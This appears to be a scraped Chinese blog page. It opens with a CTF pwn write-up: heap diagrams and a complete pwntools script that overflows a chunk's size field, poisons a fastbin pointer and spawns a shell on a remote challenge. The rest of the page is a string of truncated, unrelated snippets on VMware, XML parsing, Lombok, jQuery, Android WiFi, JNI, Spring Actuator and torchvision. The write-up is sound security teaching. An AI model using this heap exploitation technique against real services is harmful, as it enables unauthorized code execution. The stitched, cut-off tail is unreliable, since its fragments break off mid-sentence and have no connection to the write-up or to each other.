技术标签: pwn
main函数
首先创建了一个0x10大小的堆块,最后如果这个堆块的值为0x66666666那么执行/bin/sh。那么想办法分配到这块内存空间即可。
看看中间的菜单,找到漏洞在edit函数中,read为固定的0x20个字节,由于最小堆块的大小是0x10,共享pre_size的8个字节,0x10和0x18分配的大小都是0x10字节,所以存在0x10个字节的溢出,但是0x10大小的字节只能覆盖到下一个chunk的size部分,不能直接修改掉fd部分,所以通过修改size进行下一步溢出。
首先分配4个chunk
add(16,‘aaaa’)#0
add(16,‘bbbb’)#1
add(16,‘cccc’)#2
add(16,‘dddd’)#3
内存变为
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----系统最开始分配的chunk
xxxxxxxxdeadbeef xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk0
xxxxxxxxxxxxaaaa xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk1
xxxxxxxxxxxxbbbb xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk2
xxxxxxxxxxxxcccc xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk3
xxxxxxxxxxxxdddd xxxxxxxxxxxxxxxx
接着将chunk3,chunk2 free掉
delete(3)
delete(2)
内存变为
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----系统最开始分配的chunk
xxxxxxxxdeadfeef xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk0
xxxxxxxxxxxxaaaa xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk1
xxxxxxxxxxxxbbbb xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk2
xxxxxxxxkkkkkkkk xxxxxxxxxxxxxxxx (这里chunk2在fastbin 链栈上了 fd指向chunk3,k表示chunk3地址)
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk3
xxxxxxxxxxxx0000 xxxxxxxxxxxxxxxx
接着修改chunk0,覆盖chunk1的size。
edit(0,‘a’*0x18+p64(0x41)),chunk1大小变为0x41
free chunk1,那么chunk1就会被链到大小为0x30(去除头部0x10)的fastbin中去,那么接下来再malloc(0x30)就会将chunk1分配回来,且可以输入0x30大小的字符串于是就可以去覆盖chunk2的fd部分做fastbinattack了,动态调试发现堆地址最低字节是00,于是只要将chunk2的fd最低字节改为00即可。
from pwn import *
io=remote("xx.xx.xx.xx","xxxxx")
def add(size,data):
io.recvuntil('5,exit\n')
io.sendline('1')
io.recvuntil('size')
io.sendline(str(size))
io.recvuntil('content:')
io.send(data)
def delete(index):
io.recvuntil('5,exit\n')
io.sendline('2')
io.recvuntil('idx:')
io.sendline(str(index))
def edit(index,data):
io.recvuntil('5,exit\n')
io.sendline('4')
io.recvuntil('idx:')
io.sendline(str(index))
io.recvuntil('content:')
io.send(data)
def show(index):
io.recvuntil('5,exit\n')
io.sendline('3')
io.recvuntil('idx')
io.sendline(str(index))
add(16,'aaaa')#0
add(16,'bbbb')#1
add(16,'cccc')#2
add(16,'dddd')#3
delete(3)
delete(2)
edit(0,'a'*0x18+p64(0x41))
delete(1)
add(0x30,'a'*0x18+p64(0x21)+p8(0))
add(16,'aaaaaa')
add(16,p64(0x66666666))
io.sendline('5')
io.interactive()
Windows更新导致VMware Workstation无法运行???问题:最近微软发布的更新补丁导致许多用户的VMware Workstation无法运行。双击打开出现下图所示情况。解决办法:方法一:更新VMware Workstation 到版本15.5.0点击去下载新版本激活密钥许可证VMware Workstation Pro 15激活许可证:UY758-0RXEQ-M..._vmware workstation pro无法在windows运行
前几天,用Dom4j写了三个版本的读取XML文件,现在分享下。第一版本:XML: AddSuccess.jsp Dom4j读取此xml代码如下:public static void read() { try { // 读取并解析XML文档 // SAXReader就是一个管道,用一个流的方式,把xml文件读出来 SAXReader rea
//判断一个int变量的每个bit位的值(1或者0)// num =4 --转成2进制-- 100// 1 << pos,//将1左移0位 1 100 & 1 结果得到是000 --> 说明该变量的右起第1位是0//将1左移1位 10 100 & 10 结果得到是000 --> 说明该变量的右起第2位是0..._int 取某一比特位
@Slf4j 注解使用使用注解打印日志导入maven依赖<dependency> <groupId>org.projectlombok</groupId> <artifactId>lombok</artifactId> <version>1.16.16</version><!--版本号自己选一个就行--></dependency>idea 中安装插件,打开setting_lombok的@slf4j有哦那个发
jQuery基础——DOM篇在JavaScript中如何创建节点?创建节点(常见的:元素、属性和文本)添加节点的一些属性加入到文档中流程中涉及的一点方法:创建元素:document.createElement设置属性:setAttribute添加文本:innerHTML加入文档:appendChild例子: document.addEventListener(
转自:http://blog.csdn.net/hb8676086/article/details/50929953最近项目中用到了wifi模块,今天做一个简单的总结。1.怎样获取wifi对象并进行操作要操作WIFI设备,需要先获取Context.getSystemService(Context.WIFI_SERVICE)来获取WifiManager对象,并通过这个_hwmanage是什么wifi
shareinstall的App个性化安装,对App安装流程的优化,尤其是免填写邀请码安装,对于App推广的有奖邀请活动和App地推活动的顺利开展,意义都很大。但shareinstall还有一个功能是App安装量统计,这个功能也是着眼App安装环节的,有很多移动开发者选择了它的统计,要知道,它是付费的!为什么那么多App开发者技术选型时,放着那么多免费的渠道统计解决方案不用,却要来用这个收费的服..._app下载统计 share
Java语言本身是通过Java的虚拟机解释执行的,因此对于Java中调用本地动态链接库的问题便提上了日程,为何会存在这样的需求呢?因为Java本身的机制导致一些要求高效率的程序难以通过Java来实现(应该说是目前的状态下,理论来讲Java的运行效率是可以达到C的运行效率的,不过目前并没有进入到这个状态),因此很多程序开发者便希望把某一些运行效率要求很高的程序通过Java来实现。 此外_生成 jni实现 已有dll
springboot的Actuator模块中有个特殊端点/info除了描述应用信息之外,也还可以用来描述Git版本信息,并且整合方法非常简单,下面我们就来看看如何使用/info端点暴露当前应用的Git版本信息。POM配置首先,我们可以挑选任意一个Spring Boot项目,修改它的pom.xml:引入spring-boot-starter-actuator,提供/info端点
在QCOM SDM670/845等平台,存在一种chi-cdk类型的camera接口层CHI功能的官方解释:CHI allows customers to have the choice of enhancing their camera product by adding external components without changing the Qualcomm code.Fo...
提示:麻烦点赞,拒绝白嫖文章目录前言一、数据增强二、Transform1.基础使用示例2.标准化3.其他Transform总结前言torchvision中封装好了多种图片数据增强的操作,调用非常的方便,今天一起来学习以下各个transform的使用方法。一、数据增强数据增强是一个很有效地提升模型精度的方法,通过让模型学习一些经过转置,加噪等形式的特征,可以使得模型拥有更好的鲁棒性。但是需要注意的是,并不是任何时候都适合去无脑的把所有Transform安排上。首先,如果训练集数量非常充足,但特_torch transform操作
目标:系统性Review;查漏补缺; --- 2017-02-25 00:38 Update Chapter3 --- 2017-02-28...